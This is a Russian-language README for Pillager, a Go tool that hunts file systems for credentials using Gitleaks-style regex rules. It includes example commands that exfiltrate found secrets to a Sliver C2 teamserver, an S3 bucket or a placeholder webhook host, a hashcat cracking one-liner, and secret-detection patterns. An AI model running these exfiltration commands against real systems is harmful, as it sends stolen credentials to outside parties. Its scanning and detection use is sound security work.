
Разграбляйте файловые системы в поисках конфиденциальной информации с помощью Go 🔍
Разоряйте файловые системы в поисках конфиденциальной информации с помощью Go.
Pillager предназначен для предоставления простого способа использования сильной конкурентной модели Go для рекурсивного поиска чувствительной информации в файлах. Pillager делает это, стоя на плечах нескольких гигантов. Когда pillager находит файлы, соответствующие указанному шаблону, файл сканируется с помощью серии параллельных воркеров, каждый из которых берет строку файла из очереди заданий и ищет совпадения с чувствительными шаблонами. Доступные фильтры шаблонов можно определить в файле pillager.toml или использовать набор правил по умолчанию.
Если у вас установлен Go, вы можете установить Pillager с помощью go install
go install github.com/brittonhayes/pillager@latest
scoop bucket add pillager https://github.com/brittonhayes/pillager-scoop.git
scoop install pillager
brew tap brittonhayes/homebrew-pillager
brew install pillager
docker run --rm -it ghcr.io/brittonhayes/pillager:latest hunt .
Если вы ищете бинарный файл, проверьте последние релизы на наличие исполняемого файла, соответствующего вашей системе
Чтобы увидеть все доступные команды в pillager
# To see instructions for the entire application
pillager
# From any subcommand
pillager [cmd] --help
Pillager предоставляет терминальный пользовательский интерфейс, созданный с помощью bubbletea, если вы хотите сканировать секреты в интерактивном режиме.
Отправляйте обнаруженные секреты на удаленные назначения: Sliver C2 (хранилища трофеев/учетных данных), S3/MinIO (облачное хранилище) или Webhooks (пользовательские HTTP-конечные точки).
# Sliver C2 - Send to teamserver with credential parsing
pillager hunt /target --exfil sliver \
--sliver-config ~/.sliver-client/configs/operator.cfg
# S3/MinIO - Upload with encryption
pillager hunt /target --exfil s3 \
--s3-bucket red-team-findings \
--s3-endpoint https://minio.internal:9000 \
--exfil-encrypt env:EXFIL_KEY
# Webhook - POST to custom endpoint
pillager hunt /target --exfil webhook \
--webhook-url https://your-server.com/findings \
--webhook-header "Authorization: Bearer token"
Безопасность: шифрование AES-256-GCM (--exfil-encrypt), TLS по умолчанию, автоматические метаданные (имя хоста, временная метка)
Pillager обеспечивает полную поддержку правил Gitleaks1. Это можно передать через раздел rules2 в файле pillager.toml, или использовать набор правил по умолчанию, оставив флаг конфигурации пустым.
# pillager.toml
# Basic configuration
verbose = false
redact = false
# Rules for secret detection
[[rules]]
description = "AWS Access Key"
id = "aws-access-key"
regex = '''(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}'''
tags = ["aws", "credentials"]
[[rules]]
description = "AWS Secret Key"
id = "aws-secret-key"
regex = '''(?i)aws(.{0,20})?(?-i)['\"][0-9a-zA-Z\/+]{40}['\"]'''
tags = ["aws", "credentials"]
[[rules]]
description = "GitHub Token"
id = "github-token"
regex = '''ghp_[0-9a-zA-Z]{36}'''
tags = ["github", "token"]
[[rules]]
description = "Private Key"
id = "private-key"
regex = '''-----BEGIN (?:RSA|OPENSSH|DSA|EC|PGP) PRIVATE KEY( BLOCK)?-----'''
tags = ["key", "private"]
# Allowlist configuration
[allowlist]
paths = [
".*/_test\\.go$",
".*/testdata/.*",
".*\\.md$",
".*/vendor/.*"
]
regexes = [
"EXAMPLE_KEY",
"DUMMY_SECRET"
]
Pillager имеет ряд встроенных форматов вывода. Выбирайте на свой вкус!
pillager hunt .
pillager hunt ./example -f json | jq
Вывод JSON предназначен для бесшовной работы с замечательной утилитой jq для удобного парсинга.
# Use pillager to generate a new-line delimited wordlist from findings
pillager hunt . -f wordlist
# Use pillager to append a wordlist and then use your favorite hashcat attack mode
pillager hunt ./ -f wordlist >> rockyou.txt && hashcat -a 0 hash.txt rockyou.txt
pillager hunt . -f json-pretty
pillager hunt . -f html > results.html
pillager hunt . -f markdown > results.md
pillager hunt . -f csv > results.csv
pillager hunt . --template "{{ range .}}Secret: {{.Secret}}{{end}}"
pillager hunt . -t "$(cat mytemplate.tmpl)"
Pillager позволяет использовать мощные функции go text/template и sprig для настройки формата вывода. Вот несколько примеров шаблонов.
{{ range . -}}
File: {{ .File }}
Secret: {{ .Secret}}
Description: {{ quote .Description }}
{{ end -}}
# Results
{{ range . -}}
## {{ .File }}
- Location: {{.StartLine}}
{{end}}
Больше примеров шаблонов можно найти в каталоге templates.
Документация GoDoc доступна на pkg.go.dev для pillager.
Чтобы принять участие в разработке функций и исправлений для Pillager, начните со следующего:
Что такое Cobra?
Cobra — это библиотека, предоставляющая простой интерфейс для создания мощных современных CLI-интерфейсов, похожих на инструменты git и go. Cobra также является приложением, которое генерирует каркас вашего приложения для быстрой разработки приложения на основе Cobra.
Если вы раньше видели CLI, написанный на Go, велика вероятность, что он был создан с помощью Cobra. Я не могу достаточно рекомендовать эту библиотеку. Она позволяет разработчикам легко создавать последовательные, динамичные и самодокументирующиеся инструменты командной строки. Некоторые примеры: kubectl, hugo и CLI Github gh.
Что такое Gitleaks?
Gitleaks1 — это инструмент SAST для обнаружения жестко закодированных секретов, таких как пароли, ключи API и токены в git-репозиториях.
Gitleaks — отличный инструмент для предотвращения утечек секретов. Если вы еще не внедрили Gitleaks в качестве проверки pre-commit, стоит потратить время на его изучение.
Почему Gitleaks актуален для Pillager?
Pillager реализует мощную функциональность правил Gitleaks, используя другой подход к представлению и обработке найденных секретов. Хотя я предоставил базовый набор правил по умолчанию, Pillager становится гораздо более мощным, если вы позволите пользователям создавать правила для своих собственных сценариев использования.
Ознакомьтесь с включенными правилами2 для базового набора правил.
Это само собой разумеется, но я все равно скажу: я не несу ответственности за любые последствия, вызванные вашим использованием pillager. Этот инструмент предназначен для оборонительного использования, образовательных целей и использования исследователями безопасности с согласия всех вовлеченных сторон. Злонамеренное использование pillager никоим образом не одобряется и не поощряется. Пожалуйста, используйте этот инструмент ответственно и убедитесь, что у вас есть разрешение на сканирование секретов в любых системах перед этим.
По своей сути, Pillager предназначен для помощи в определении того, затронута ли система распространенными источниками утечки учетных данных, как описано в фреймворке MITRE ATT&CK3.
Техника MITRE ATT&CK - T1552,003 - Незащищенные учетные данные: История Bash
Техника MITRE ATT&CK - T1552,001 - Незащищенные учетные данные: Учетные данные в файлах